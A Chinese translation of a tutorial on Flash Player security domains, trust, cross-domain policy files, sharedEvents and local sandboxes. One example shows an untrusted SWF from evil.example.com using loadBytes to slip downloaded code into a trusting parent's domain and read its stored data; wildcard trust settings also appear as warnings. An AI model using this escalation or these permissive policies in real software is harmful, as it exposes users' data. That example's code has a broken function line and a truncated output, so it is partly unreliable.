今天終于有時間把 senocular 上關(guān)于安全域和應(yīng)用程序域的教程好好看了一遍。覺得人家老外就是專業(yè):內(nèi)容非常有條理且完整,圖文并茂,舉例也非常實用,真是教程中的精品。剛好我最近也在整理這方面的知識,于是決定把這篇翻譯出來,方便國內(nèi)的讀者。對想要進階理解Flash的運行機制的朋友,本文是不可多得的好材料。
原文地址: http://www.senocular.com/flash/tutorials/contentdomains/
簡介
如果你還沒有與復(fù)雜的的安全域(security domain)和應(yīng)用程序域(application domain)問題打過交道,那么你真是個幸運的家伙。當(dāng)你在加載外部內(nèi)容(然后他們開始播放)的時候,默認的設(shè)置工作的很好,你甚至不知道他們的存在。
但是某些時候你可能需要控制默認設(shè)置以外的更多行為和功能,這樣你就會遇到前面所說的問題。你也許會困擾于Security.allowDomain和crossdomain.xml文件的區(qū)別,又或者你想要深究關(guān)于安全性的最佳實踐。如果是這樣,那么這篇文章就是你所需要的了。
以下的教程將會討論什么是安全域和應(yīng)用程序域,以及他們在Flash Player中應(yīng)該如何使用。
安全域
- Introduction 簡介
- Sandboxing 沙箱
- Security Domains 安全域
- Trust 信任授權(quán)
- Non-executable Trust 不可執(zhí)行文件的信任機制
- Non-executable Content Without Trust 非受信的不可執(zhí)行文件
- SWF Communication Without Trust 在非受信的SWF之間通訊
- Merging Security Domains 合并安全域
- Stage Owner and Access 場景的擁有者和獲取權(quán)限
- Local Security Domains 本地安全域
Sandboxing 沙箱
沙箱是用于區(qū)分不同的數(shù)據(jù)和程序執(zhí)行。沙箱對于安全性尤其重要。如果沒有恰當(dāng)?shù)男湃问跈?quán),兩個位于不同沙箱內(nèi)的內(nèi)容應(yīng)該沒有任何交互。Flash Player的安全模型使用稱為
安全域
的沙箱來分離內(nèi)容。
雖然安全性是沙箱的主要用途,但這并不是唯一使用沙箱的原因。另外一種可能的情形是使用沙箱來避免命名沖突,這種區(qū)分代碼的沙箱方式在Flash Player中被稱為
應(yīng)用域
。
Security Domains 安全域
安全域在Flash中是頂級的沙箱。安全域鏈接到內(nèi)容的來源域名,或者是被加載的內(nèi)容(如SWF文件)的來源域名。比如在senocular.com下的SWF文件包含一個鏈接到senocular.com的安全域,而在example.com下的SWF文件則有一個鏈接到example.com的安全域。不同的安全域使得SWF文件在Flash Player中播放時運行在自身的沙箱下。
注意:在本教程的例子中,你將看到我用統(tǒng)一頂級域名下的不同子域來代表不同域名,這是因為在Flash中,不同子域和不同頂級域一樣,都被視為不同的域。示例中代碼也被簡化過了,在Flash編輯環(huán)境下用時間線代碼也可以進行測試。
不可執(zhí)行的內(nèi)容(非SWF文件),比如圖片或者文本文件,也被劃分到安全域中,同樣與他們所處的域名相關(guān)聯(lián)。實際上,正是域名決定了這些內(nèi)容是否能夠被某個SWF文件加載。更多這方面的內(nèi)容將在 不可執(zhí)行文件的信任機制 章節(jié)中進行討論。
回到SWF上來,安全域劃分了數(shù)據(jù)和可執(zhí)行代碼。如果兩個SWF處于不同的安全域下,某個SWF中的數(shù)據(jù)(比如某個變量)是不可以被其他SWF獲取的,當(dāng)然,代碼也不能執(zhí)行。如果嘗試獲取其他域中SWF文件的數(shù)據(jù)將會產(chǎn)生一個安全錯誤。
下面的代碼展示了一個SWF文件企圖加載另外一個SWF,并獲取其文檔類的實例(也就是主時間線)。
http://same.example.com/parent.swf:
var loader:Loader = new Loader ( ) ; loader. contentLoaderInfo . addEventListener ( Event. INIT , init ) ; var url : String = "http://diff.example.com/child.swf" ; loader. load ( new URLRequest ( url ) ) ; function init ( event:Event ) : void { trace ( loader. content ) ; // SecurityError: Error #2121: Security sandbox violation: // Loader.content: http://same.example.com/parent.swf // cannot access http://diff.example.com/child.swf. // This may be worked around by calling Security.allowDomain. }
任意想要獲取被加載的SWF文件的內(nèi)容的嘗試,甚至包括trace Loader的content屬性。都會引起安全錯誤,因為他們兩者處于不同的安全域內(nèi)。
安全域的劃分也適用于Flash Player所使用的原生ActionScript類。Flash Player在每個安全域中都創(chuàng)建了獨立的原生類。舉例來說,一個安全域內(nèi)的XML類與另外一個安全域內(nèi)的XML類是不相同的,改變其中一個XML的靜態(tài)屬性XML.prettyIndent并不會影響到另一個安全域。
下面這個SWF文件加載了兩個子SWF,一個來自自身的域,另一個從另外的域加載。我們改變了主文件的prettyIndent屬性,來看看這兩個子文件的屬性輸出。
http://same.example.com/parent.swf:
trace ( XML . prettyIndent ) ; // 2 XML . prettyIndent = 5 ; trace ( XML . prettyIndent ) ; // 5 // Same domain: var sameLoader:Loader = new Loader ( ) ; var sameURL: String = "http://same.example.com/child.swf" ; sameLoader. load ( new URLRequest ( sameURL ) ) ; // Different domain: var diffLoader:Loader = new Loader ( ) ; var diffURL: String = "http://diff.example.com/child.swf" ; diffLoader. load ( new URLRequest ( diffURL ) ) ;
http://same.example.com/child.swf:
trace ( "same: " + XML . prettyIndent ) ; // same: 5
http://diff.example.com/child.swf:
trace ( "diff: " + XML . prettyIndent ) ; // diff: 2
可以看到,第二個子文件的屬性并沒有被改變。這就說明不同的安全域具有不同的原生ActionScript類定義。
Trust 信任授權(quán)
盡管安全域只允許相同域下的通訊,但是我們可以通過信任授權(quán)來讓處于兩個不同安全域內(nèi)的SWF文件進行通訊。通過授權(quán),某個安全域內(nèi)的文件可以獲取另一個域內(nèi)文件的的數(shù)據(jù),或者調(diào)用其方法,就像是處于相同的安全域下一樣。
在ActionScript中,SWF的信任授權(quán)是通過 Security.allowDomain (或者類似的 Security.allowInsecureDomain )來設(shè)置的。在被信任的安全域內(nèi)的代碼可以調(diào)用這個方法來授權(quán)信任給另一個或者一組在其他安全域內(nèi)的SWF文件。這種信任是單向的,發(fā)起allowDomain的SWF文件不能去訪問被授權(quán)信任的文件,除非對方也做了信任授權(quán)。
在下面的例子中,一個子SWF文件調(diào)用allowDomain來允許父SWF的訪問:
http://home.example.com/parent.swf:
var loader:Loader = new Loader ( ) ; loader. contentLoaderInfo . addEventListener ( Event. INIT , init ) ; var url : String = "http://away.example.com/child.swf" ; loader. load ( new URLRequest ( url ) ) ; function init ( event:Event ) : void { // (子文件執(zhí)行了allowDomain) trace ( loader. content ) ; <em> // [object DocumentClass]</em> }
http://away.example.com/child.swf:
Security. allowDomain ( "home.example.com" ) ;
如果沒有授信,就像前文說到的,還是會引發(fā)安全錯誤。但是一旦被加載的子SWF調(diào)用了allowDomain以后,父SWF文件就可以自由的訪問子SWF文件中的內(nèi)容。要注意的是在這個例子中,由于父SWF文件沒有授權(quán)away.example.com的信任,所以子SWF仍然無法訪問loader的content屬性。
信任是非常重要的安全概念,絕對不能掉以輕心。我們經(jīng)常看見使用通配符的授權(quán):
// 小心哦! Security. allowDomain ( "*" ) ;
這么做將允許所有SWF文件,不僅僅只是你加載的或是加載你的,可以通過ActionScript來訪問你文件中的數(shù)據(jù)。就算你沒有在文件中包含敏感數(shù)據(jù),但是如果你在文件中提供了某些方法去獲取這種數(shù)據(jù),那也有可能被其他SWF調(diào)用。使用allowDomain來授權(quán)的信任就像給了其他SWF文件相等的權(quán)利:你能做什么,我就能做什么。在接下來的 合并安全域 章節(jié)中你將看到這意味著什么。
如果你只是想讓SWF之間能夠通信,除了信任授權(quán)的方法以外我們還可以使用sharedEvents對象來實現(xiàn),我們將在 在非受信的SWF之間通訊 章節(jié)中討論。
Non-executable Trust 不可執(zhí)行文件的信任機制
由于不可執(zhí)行文件(也就是非SWF文件)不能調(diào)用allowDomain代碼,所以這類文件的信任機制在Flash Player中有不一樣的處理方法。這就是跨域(cross-domain)策略文件派上用場的地方。
跨域策略文件是一個放在網(wǎng)站的根域名下的命名為crossdomain.xml的XML文件。和allowDomain類似,定義了一組可以被Flash Player加載的安全網(wǎng)站域名。一個簡單的跨域策略文件的例子如下:
http://example.com/crossdomain.xml:
<?xml version="1.0"?> <cross-domain-policy> <site-control permitted-cross-domain-policies="by-content-type"/> <allow-access-from domain="*.example.com"/> <allow-access-from domain="www.example-partner.com"/> </cross-domain-policy>
你可以從 Cross-domain policy file specification (adobe.com)獲得詳細的文件格式信息。
和allowDomain不同的是,跨域策略文件只提供了包含所有文件(通常是一個域下的所有文件)的用法。上面的例子表示允許來自example.com的任意子域或www.example-partner.com的SWF文件加載example.com下的文件。
由于存在allowDomain機制,跨域策略文件通常不用于授權(quán)SWF文件的訪問。跨域加載SWF的時候不會請求跨域策略文件。只有當(dāng)要把一個跨域的SWF合并到當(dāng)前的安全域的時候,才需要提供跨域策略文件。這個主題將在 合并安全域 中進行討論。
不管是標(biāo)準(zhǔn)的位于域名根目錄下的跨域策略文件還是用 Security.loadPolicyfile 指定的跨域策略文件,都只有在需要的時候才會被加載:當(dāng)內(nèi)容被加載的同時,跨域策略文件也被一起加載進來。
加載完成后,F(xiàn)lash Player分析跨越策略文件并判斷該域是否為信任SWF所處的域。如果答案是肯定的話,文件正常加載,就像處于和SWF文件相同的域一樣。反之則有可能有兩種情況:
- 文件不被加載
- 文件加載成功,但是其數(shù)據(jù)不能被SWF文件直接訪問
如果文件本身就是數(shù)據(jù)(文本文件,XML文件,二進制數(shù)據(jù)等等),那么文件就不會被加載。
需要跨域策略文件來加載僅包含數(shù)據(jù)的文件
如果文件除了數(shù)據(jù)以外還有其余用途(圖像文件,聲音文件等),那么文件還是能夠被加載到用戶可見(可聽)的環(huán)境中。比如說圖像文件,就算沒有跨域策略文件,還是可以在Loader對象中顯示給用戶看。但是類似BitmapData.draw等直接訪問圖像數(shù)據(jù)的方法就不能運行。
需要跨域策略文件來獲取其他文件的數(shù)據(jù)的引用
對此可能大家都有點疑惑。實際上用戶是可以訪問這些數(shù)據(jù)的,但是SWF文件不行。Flash Player是在保護用戶的數(shù)據(jù)不被潛藏有危險代碼的SWF文件獲取。用戶不需要關(guān)心跨域策略文件也能正常的瀏覽網(wǎng)頁內(nèi)容。
但這并不是說跨域策略文件可以被忽視,類似于下面這種過分縱容的跨域策略文件有很多潛在的危險:
<?xml version="1.0"?> <cross-domain-policy> <!-- 小心哦! --> <allow-access-from domain="*"/> </cross-domain-policy>
警告 :使用通配符(*)允許所有域的訪問等同于: 用戶可能可以接觸到的所有處于該域下的數(shù)據(jù)都有可能被任意SWF文件獲取 。
客戶端的Flash Player運行在當(dāng)前用戶的認證下,這就表示用戶的數(shù)據(jù)可能就是Flash Player的數(shù)據(jù)。而且Flash Player的數(shù)據(jù)可能被任意在里面運行的SWF獲取。Flash Player默認只允許相同域名下的SWF的安全數(shù)據(jù),并限制跨域SWF的運行。如果沒有這層限制,SWF可以獲取任意當(dāng)前用戶可以獲取的數(shù)據(jù)。
舉個例子:某用戶使用他的認證來登錄網(wǎng)頁的郵件客戶端收取郵件,然后用戶打開了一個包含有惡意程序的SWF的頁面。如果沒有跨域限制的話,這個SWF可以用他現(xiàn)有的認證偷偷地加載用戶的郵件頁面。用戶可以訪問的內(nèi)網(wǎng)也不例外,只要用戶能去的地方,SWF就能去。幸好Flash Player阻止了這種獲取數(shù)據(jù)的行為,除非該域通過跨域策略文件給予SWF授權(quán)。
記住一個原則,永遠不要對包含敏感數(shù)據(jù)的域開發(fā)跨域授權(quán),即使需要上面的信息來進行用戶認證。把SWF可以訪問的數(shù)據(jù)劃分到不同的域或者子域下面。
Domain Description Policy filelogin.example.com | Hosts user data | None |
feed.example.com | Hosts public data |
Includes:
<allow-access-from domain="*" />
|
這將使得敏感數(shù)據(jù)不可被訪問,但是仍然可以對其他域下的SWF文件公開你的其他數(shù)據(jù)。
Non-executable Content Without Trust 非受信的不可執(zhí)行文件
如果沒有跨域策略文件的信任授權(quán),F(xiàn)lash Player禁止非SWF文件的獲取。特別是像文本那樣的僅包含數(shù)據(jù)的文件,甚至不會加載。如果你需要從一個沒有跨域授權(quán)的域中獲取數(shù)據(jù),還是有一個變通的辦法。
跨域策略文件用于保護數(shù)據(jù),特別是保護用戶數(shù)據(jù),或者說是用戶能夠接觸到的數(shù)據(jù)。因為Flash Player是運行在客戶端的,但是服務(wù)器端的代碼沒有這種限制。服務(wù)器完全是另外一臺機器,所以用戶請求和服務(wù)器請求是完全無關(guān)的。
由于服務(wù)器沒有用戶的限制,服務(wù)器端的代碼可以從任意公開的網(wǎng)絡(luò)服務(wù)獲取數(shù)據(jù)。也就是說包含SWF的服務(wù)器可以用于訪問外部域的數(shù)據(jù),然后作為相同域的數(shù)據(jù)返回給Flash Player。由于處在相同的域下,F(xiàn)lash Player就不需要有跨域策略文件了。
下面的代碼演示了一個服務(wù)器端的php腳本加載外部數(shù)據(jù)的例子:
http://home.example.com/loader.swf:
var urlLoader:URLLoader = new URLLoader ( ) ; var urlVariables:URLVariables = new URLVariables ( ) ; // 服務(wù)器端獲取外部數(shù)據(jù)的地址 urlVariables. externalURL = "http://away.example.com/content.txt" ; // 服務(wù)器端的腳本獲取外部數(shù)據(jù)并傳給SWF var serverPage: String = "http://home.example.com/read.php" ; var request:URLRequest = new URLRequest ( serverPage ) ; request. data = urlVariables; urlLoader. load ( request ) ;
這種解決方案也有一定的問題。首先你必須能夠在服務(wù)器端部署代碼,某些小項目也許根本不需要服務(wù)器環(huán)境。
另一個可能更重要的原因是這種方式加倍了網(wǎng)絡(luò)流量。首先必須從外部域加載到你自己的域下,然后才被下載到你的SWF客戶端。同時這也加重了你的服務(wù)器的負載。使用跨域策略文件的話就不會有這種問題。
這可以作為一種解決方案,但最好還是能用跨域策略文件來解決。
SWF Communication Without Trust 在非受信的SWF之間通訊
在某些情況下有可能要與其他來源不那么可靠的域中的SWF通訊,你并不希望完全信任該域,放開全部授權(quán)。對此LoaderInfo對象的sharedEvents屬性提供了另一種機制。sharedEvents對象是唯一的一個可以在不同安全域中發(fā)送共享事件的對象。加載者和被加載者都可以通過這個對象來向?qū)Ψ桨l(fā)送事件。
通過sharedEvents對象發(fā)送的事件在兩個域中都是完全受信的,這就使得在兩個安全域中傳遞的任意數(shù)據(jù)都無需考慮安全問題。
警告 :當(dāng)心!通過sharedEvents對象傳遞了錯誤的數(shù)據(jù)仍然有可能把你的SWF中的數(shù)據(jù)暴露出去。比如你的事件包含了一個復(fù)雜對象,特別是顯示列表上的對象,那么你的整個SWF都將暴露。
所以通過sharedEvents發(fā)送的事件應(yīng)該限制為包含簡單數(shù)據(jù)的事件類型,避免一些被包含后門的SWF程序加以利用。如果你要傳遞復(fù)雜的事件,那要在傳遞之前先做一下清理。
使用sharedEvents進行通訊的兩個SWF需要確保發(fā)送和接收的是一致的事件類型。父SWF可以發(fā)出一種事件并監(jiān)聽另一種。子SWF可以監(jiān)聽父SWF發(fā)出的事件并發(fā)出父SWF中正在監(jiān)聽的事件。這些事件的名字可以是隨意的。
下面的例子演示了在不同安全域中的父子SWF使用sharedEvents來通訊簡單的文本信息的情況。父SWF發(fā)出“fromParent”事件,而子SWF發(fā)出“fromChild”事件。
http://safe.example.com/parent.swf:
var loader:Loader = new Loader ( ) ; var shared:EventDispatcher = loader. contentLoaderInfo . sharedEvents ; shared. addEventListener ( "fromChild" , fromChild ) ; var url : String = "http://untrusted.example.com/child.swf" ; loader. load ( new URLRequest ( url ) ) ; function fromChild ( event:TextEvent ) : void { trace ( event. text ) ; // Good day var replyMessage:TextEvent = new TextEvent ( "fromParent" ) ; replyMessage. text = "Same to you" ; shared. dispatchEvent ( replyMessage ) ; }
http://untrusted.example.com/child.swf:
var shared:EventDispatcher = loaderInfo. sharedEvents ; shared. addEventListener ( "fromParent" , fromParent ) ; var firstMessage:TextEvent = new TextEvent ( "fromChild" ) ; firstMessage. text = "Good Day" ; shared. dispatchEvent ( firstMessage ) ; function fromParent ( event:TextEvent ) : void { trace ( event. text ) ; // Same to you }
任意的事件類都可以像這樣用于傳遞信息,也包括自定義事件。再次強調(diào),要當(dāng)心不要把包含引用的數(shù)據(jù)(特別是顯示列表上的對象)隨著事件一起發(fā)送出去。這種情況的例子在 場景的擁有者和獲取權(quán)限 章節(jié)中可以找到。
Merging Security Domains 合并安全域
如果兩個域之間建立了信任關(guān)系,一個SWF就能把另外一個SWF加到自己的安全域內(nèi),就像是在相同的域下一樣。
在這種情況下信任授權(quán)的處理有少許不同。首先,包含父SWF的域不需要指定什么,只要執(zhí)行加載另一個SWF到當(dāng)前的安全域就表示完全信任這個SWF。
其次,因為子SWF是立即被加載到父SWF的安全域中,并沒有機會通過allowDomain進行信任授權(quán)聲明。當(dāng)子SWF可以執(zhí)行allowDomain聲明的時候,已經(jīng)被加載并實例化到另外的域中。所以這種情況下,跨域策略文件將派上用場。實際上這也是跨域策略文件唯一適用于對SWF進行授權(quán)的情況。
需要跨域策略文件把跨域的SWF加載到相同的安全域
要加載某個SWF到自己的安全域內(nèi),需要給Loader.load方法指定一個 LoaderContext 對象。LoaderContext對象的securityDomain屬性設(shè)置為當(dāng)前的安全域( SecurityDomain.currentDomain )。通過這樣的加載方式,父SWF授信給子SWF,而子SWF的授信則需要通過跨域策略文件。
http://host.example.com/parent.swf:
trace ( new LocalConnection ( ) . domain ) ; // host.example.com var loader:Loader = new Loader ( ) ; // 創(chuàng)建一個LoaderContext對象把子SWF加載到當(dāng)前的安全域 var context:LoaderContext = new LoaderContext ( true ) ; context. securityDomain = SecurityDomain. currentDomain ; var url : String = "http://trusting.example.com/child.swf" ; loader. load ( new URLRequest ( url ) , context ) ;
http://trusting.example.com/crossdomain.xml:
<?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="host.example.com"/> </cross-domain-policy>
http://trusting.example.com/child.swf:
trace ( new LocalConnection ( ) . domain ) ; // host.example.com
我們可以通過 LocalConnection 對象的domain屬性來檢查每個SWF所處的安全域。雖然子SWF原先所處的域是trusting.example.com,但是由于它被加載到父SWF所處的域中,所以子SWF最終所處的安全域是host.example.com。
用這個方式加載的SWF文件權(quán)力比用allowDomain授權(quán)的更加大。使用allowDomain授權(quán),等同于 說你能做什么,我就能做什么 。而把SWF加載到同一個安全域,則等同于 我能做任何事 。在前一種情況下,子SWF只能調(diào)用父SWF下的代碼,還是受限于父SWF中的定義。但是通過加載到相同的安全域,這些子SWF就可以在你的域下面做任意操作,這包括:
- 獲取父SWF中的任意引用
- 讀取主域中的所有文件
- 讀取其他授信給主域的所有域下的文件
- 讀取主域下的共享對象
- 獲取通過主域建立的共享連接通訊
- 獲取授信給主域的socket連接
所以在引入跨域SWF文件到你當(dāng)前的安全域下的時候,你要確保這種權(quán)力不會被濫用。
使用包含安全域的LoaderContext對象的load方法不是能夠引入跨域SWF到你的安全域的唯一方法。Loader類的另一個方法loadBytes也可以做到。和load不同的是,它不是用URL來加載外部內(nèi)容,而是直接加載以 ByteArray 的形式加載對象。
由于ByteArray與域名之間沒有關(guān)聯(lián),所以用loadBytes方法加載的對象將直接進入當(dāng)前安全域內(nèi)。因為你在加載包含這些字節(jié)對象之前往往都要經(jīng)過某種信任授權(quán),所以這通常是安全的。
http://host.example.com/parent.swf:
trace ( new LocalConnection ( ) . domain ) ; // host.example.com var loader:Loader = new Loader ( ) ; var urlLoader:URLLoader = new URLLoader ( ) ; urlLoader. dataFormat = URLLoaderDataFormat. BINARY ; urlLoader. addEventListener ( Event. COMPLETE , bytesLoaded ) ; // cross-domain policy file required to load data var url : String = "http://trusting.example.com/childbytes.swf" ; urlLoader. load ( new URLRequest ( url ) ) ; function bytesLoaded ( event:Event ) : void { loader. loadBytes ( urlLoader. data ) ; }
http://trusting.example.com/crossdomain.xml:
<?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="host.example.com"/> </cross-domain-policy>
http://trusting.example.com/childbytes.swf:
trace ( new LocalConnection ( ) . domain ) ; // host.example.com
就和前面看到的例子一樣,通過檢查子SWF文件的LocalConnection.domain屬性,使用loadBytes方法加載的子SWF也顯示為相同的安全域。
警告 :loadBytes方法有個小小的安全問題:可以把授信過的跨域SWF和加載到當(dāng)前安全域下的SWF兩者間的不同扯平。我們知道雖然這兩者都是被信任的,但是就像上面的列表中提到的,后者比前者的權(quán)力更大。“ 你能做什么,我就能做什么 ”與“ 我能做任何事 ”之間的差別,結(jié)果可以變成沒有差別。
這是因為授信過的跨域SWF文件可以訪問父SWF的任何對象,包括父SWF對象的Loader實例,一旦擁有了對loadBytes方法的引用,這就意味著可以把某些字節(jié)對象加載到當(dāng)前的安全域。
下面的這個例子展示了這種可能性:
http://good.example.com/parent.swf:
// 授權(quán) "你能做什么,我就能做什么" Security. allowDomain ( "evil.example.com" ) ; // 應(yīng)當(dāng)受保護的數(shù)據(jù) var so: SharedObject = SharedObject . getLocal ( "foo" , "/" ) ; so. data . foo = "bar" ; so. flush ( ) ; var loader:Loader = new Loader ( ) ; var url : String = "http://evil.example.com/child.swf" ; loader. load ( new URLRequest ( url ) ) ;
http://evil.example.com/child.swf:
var so: SharedObject = SharedObject . getLocal ( "foo" , "/" ) ; trace ( "trust only: " + so. data . foo ) ; // trust only: undefined var urlLoader:URLLoader = new URLLoader ( ) ; urlLoader. dataFormat = URLLoaderDataFormat. BINARY ; urlLoader. addEventListener ( Event. COMPLETE , bytesLoaded ) ; var url : String = "http://evil.example.com/childbytes.swf" ; urlLoader. load ( new URLRequest ( url ) ) ; function bytesLoadedEvent ) : void { // 威脅!loadBytes加載了SWF數(shù)據(jù)到父SWF的安全域 loaderInfo. loader . loadBytes ( urlLoader. data ) ; }
http://evil.example.com/childbytes.swf:
var so: SharedObject = SharedObject . getLocal ( "foo" , "/" ) ; trace ( "same domain: " + so. data . foo ) ; // same domain: ba
將來版本的Flash Player可能會改變這種行為,所以在程序中不要使用這種方法。我們應(yīng)該關(guān)注的是加載授信過的SWF文件會帶來的潛在威脅:暴露你的域下的所有數(shù)據(jù)。
Stage Owner and Access 場景的擁有者和獲取權(quán)限
當(dāng)?shù)谝粋€SWF文件被加載到Flash Player中的時候,它被加到顯示列表的根上,也就是我們所說的 stage 對象。這也是Flash Player自己的顯示對象的根。每個SWF都有代表自己主文檔類或者主時間線的根(叫做 root )。第一個被創(chuàng)建的SWF實例的根被放置于場景上,其他子SWF使用Loader對象的實例來加載。
場景的特別之處在于它本身就位于顯示列表上,所有處于顯示列表上的子SWF都可以取得它的引用,但是它只有一個擁有者:就是第一個被實例化的那個SWF。場景的擁有者決定了場景所連接的安全域。其他的SWF想對場景進行特殊操作的行為都必須獲得場景所有者的信任授權(quán)。
你可能有注意到在過去的有些程序或者是組件中,被加載到不同的域(未授信)里的時候報錯。這正是因為沒有取得對場景對象進行操作的授權(quán)。因為場景對象是可以被引用的,但是諸如場景的addEventListener方法等卻不可用,所以這很容易引起誤解。
下面這個表格列出了場景對象限制非安全域?qū)ο笤L問的成員。可能不是100%精確,主要用于參考。
addChild | addChildAt | removeChild |
removeChildAt | getChildIndex | setChildIndex |
getChildAt | getObjectsUnderPoint | swapChildren |
swapChildrenAt | numChildren | tabChildren |
mouseChildren | width | stageWidth |
fullScreenWidth | height | stageHeight |
fullScreenHeight | quality | align |
scaleMode | displayState | fullScreenSourceRect |
stageFocusRect | showDefaultContextMenu | colorCorrection |
addEventListener | dispatchEvent | hasEventListener |
willTrigger |
在下面的例子中看看場景是如何可以被子SWF訪問,但是卻不能調(diào)用stage.addEventListener方法。
http://first.example.com/parent.swf:
var loader:Loader = new Loader ( ) ; addChild ( loader ) ; var url : String = "http://<samp>second</samp>.example.com/child.swf" ; loader. load ( new URLRequest ( url ) ) ;
http://second.example.com/child.swf:
// Works trace ( stage ) ; // [object Stage] // Does not work stage . addEventListener ( MouseEvent. CLICK , stageClick ) ; // SecurityError: Error #2070: Security sandbox violation: // caller http://second.example.com/child.swf cannot access // Stage owned by http://first.example.com/parent.swf.
場景的這種所有者關(guān)系非常操蛋,因為我們經(jīng)常需要對場景對象監(jiān)聽鼠標(biāo)或者鍵盤事件,比如檢測鍵盤按下或者檢測鼠標(biāo)在物體外部釋放點擊。在這種情況下,單靠子SWF自身是沒辦法完成的。還好,場景擁有者的父SWF可以通過sharedEvents傳遞場景事件而不必授信給子SWF。通過這種方式,可以在保護主域的前提下配合完成這種工作。
警告 :以下這個使用范例演示了sharedEvents是如何處理安全性問題的。一些鼠標(biāo)事件的relatedObject屬性持有對時間線上的對象的引用。如果不經(jīng)過清理,這些對象就會暴露給沒有經(jīng)過授信的域。所以通過sharedEvents發(fā)送事件時,要把這些引用清除。比如MouseEvent,我們可以新建一個僅包含必須數(shù)據(jù)的MouseEvent對象。
下面的示例展示了如何通過sahredEvents發(fā)送場景事件。示例中僅僅轉(zhuǎn)發(fā)了MOUSE_OUT事件,當(dāng)然也可以擴展于其他的事件類型。注意如何創(chuàng)建一個代理事件并保護父SWF中的對象。
http://stageowner.example.com/parent.swf:
var combination: String = "1-2-3-4-5" ; // 隱私數(shù)據(jù) var loader:Loader = new Loader ( ) ; var shared:EventDispatcher = loader. contentLoaderInfo . sharedEvents ; var url : String = "http://untrusted.example.com/child.swf" ; loader. load ( new URLRequest ( url ) ) ; stage . addEventListener ( MouseEvent. MOUSE_OUT , forwardMouseEvent ) ; function forwardMouseEvent ( event:MouseEvent ) : void { // 威脅!這種做法暴露了relatedObject,也使得其他數(shù)據(jù)被暴露 //shared.dispatchEvent(event); // Safer: 創(chuàng)建一個清理過的代理事件來切斷relatedObject的引用 var safeEvent:MouseEvent = new MouseEvent ( event. type ) ; safeEvent. altKey = event. altKey ; safeEvent. buttonDown = event. buttonDown ; safeEvent. ctrlKey = event. ctrlKey ; safeEvent. delta = event. delta ; safeEvent. localX = event. localX ; safeEvent. localY = event. localY ; safeEvent. shiftKey = event. shiftKey ; shared. dispatchEvent ( safeEvent ) ; }
http://untrusted.example.com/child.swf:
var shared:EventDispatcher; // 如果場景事件不能引用,那就通過sharedEvents監(jiān)聽 if ( loaderInfo. parentAllowsChild ) { stage . addEventListener ( MouseEvent. MOUSE_OUT , stageMouseOut ) ; } else { shared = loaderInfo. sharedEvents ; shared. addEventListener ( MouseEvent. MOUSE_OUT , stageMouseOut ) ; } function stageMouseOut ( event:MouseEvent ) : void { // -- stage mouse out actions here -- // 如果sharedEvents傳遞了原始的鼠標(biāo)事件,那么父域中的數(shù)據(jù)就暴露了! //trace(Object(event.relatedObject).root.combination); // 1-2-3-4-5 }
幸好有safeEvent這個MouseEvent的實例,原本的MouseEvent對象的relatedObject指向的引用被屏蔽了。實際上,所有通過sharedEvents對象發(fā)送的事件都應(yīng)該用這種方式清理一遍。
Local Security Domains 本地安全域
在硬盤上運行的SWF文件同樣有自己的安全域。本地安全域有自己獨特的行為,共分為4種安全沙箱類型:local-with-file, local-with-network, local-trusted, and application for AIR(本文不詳細討論AIR)。再加上網(wǎng)絡(luò)上的SWF,一共有5種安全沙箱。在ActionScript中,你可以用 Security.sandboxType 來獲得當(dāng)前的安全沙箱類型。
-
local-with-file
(
Security.LOCAL_WITH_FILE
)—本地不受信任的文件,只可以訪問本地數(shù)據(jù),不能與網(wǎng)絡(luò)通信。 -
local-with-network
(
Security.LOCAL_WITH_NETWORK
)—本地不受信任的文件,只可以訪問網(wǎng)絡(luò),但是不能讀取本地數(shù)據(jù)。 -
local-trusted
(
Security.LOCAL_TRUSTED
)—本地受信的文件,通過Flash Player設(shè)置管理器或者FlashPlayerTrust文件授權(quán)。可以訪問本地和網(wǎng)絡(luò)。 -
application
(
Security.APPLICATION
)—隨著AIR包而安裝,運行在AIR程序中。默認在這種沙箱類型下的文件可以調(diào)用任意域下的文件(外部域可能不允許)。而且默認能從任意其他域下加載數(shù)據(jù)。 -
remote
(
Security.REMOTE
)—來自網(wǎng)絡(luò)的文件,遵循安全域的沙箱規(guī)則。
由于有可能從用戶的硬盤上獲取敏感數(shù)據(jù),所以本地文件在安全方面有著嚴(yán)格的規(guī)則。一旦有機會,惡意的SWF將可以從電腦上讀取數(shù)據(jù)并上傳到網(wǎng)絡(luò)上的服務(wù)器。所以為了防止這種情況,本地的SWF只允許一種類型的通訊,要么就是本地,要么就是網(wǎng)絡(luò)。而且,不同安全沙箱類型的SWF不能相互加載,避免能同時訪問網(wǎng)絡(luò)和訪問本地的情況出現(xiàn)。
由于我們不能判斷本地文件的域名,所以判斷本地SWF文件的安全沙箱用的是另外一種形式。只允許本地和只允許網(wǎng)絡(luò)這兩種情況是通過SWF文件內(nèi)的標(biāo)識來區(qū)分的,所有的SWF在發(fā)布的時候都帶有這種標(biāo)識,當(dāng)SWF在本地運行的時候,F(xiàn)lash Player就用它來檢測安全沙箱類型。
對于本地的信任文件,相同的問題是我們沒有地方來保存跨域策略文件,所以我們通過Flash Player的 設(shè)置管理器 里的 全局安全設(shè)置面板 來設(shè)置。通過下圖中所示的下拉菜單把本地SWF的路徑添加到本地的安全文件列表里。
Flash Player 設(shè)置管理器
另一種方式是通過配置文件的方式。配置文件不像設(shè)置管理器那樣需要聯(lián)網(wǎng)來使用。要把SWF或者包含SWF的文件夾添加到信任位置的話只需要添加路徑到Flash Player的#Security\FlashPlayerTrust下的.cfg文件就可以了。在Mac和Windows上,這個路徑如下:
- Windows 95-XP:
C:\Documents and Settings\ [username] \Application Data\Macromedia\Flash Player\#Security\FlashPlayerTrust- Windows Vista-7:
C:\Users\ [username] \AppData\Roaming\Macromedia\Flash Player\#Security\FlashPlayerTrust- Mac OS X:
/Users/ [username] /Library/Preferences/Macromedia/Flash Player/#Security/FlashPlayerTrust
把 [username] 替換為你的用戶名。
兩種方法都是把信任授權(quán)信息寫入你的硬盤(全局安全設(shè)置面板也一樣,保存在Flash Player的特定目錄下)。這些文件就像你本地的跨域策略文件一樣。當(dāng)Flash Player讀取的時候,信任授權(quán)給SWF,并覆蓋SWF文件中關(guān)于本地訪問權(quán)限的標(biāo)識,從而允許受信的SWF能夠同時訪問本地和網(wǎng)絡(luò)。
關(guān)于本地信任機制還有一點需要注意的是即使是本地受信的文件,仍然不能把處于外部沙箱的內(nèi)容加載入本地沙箱。
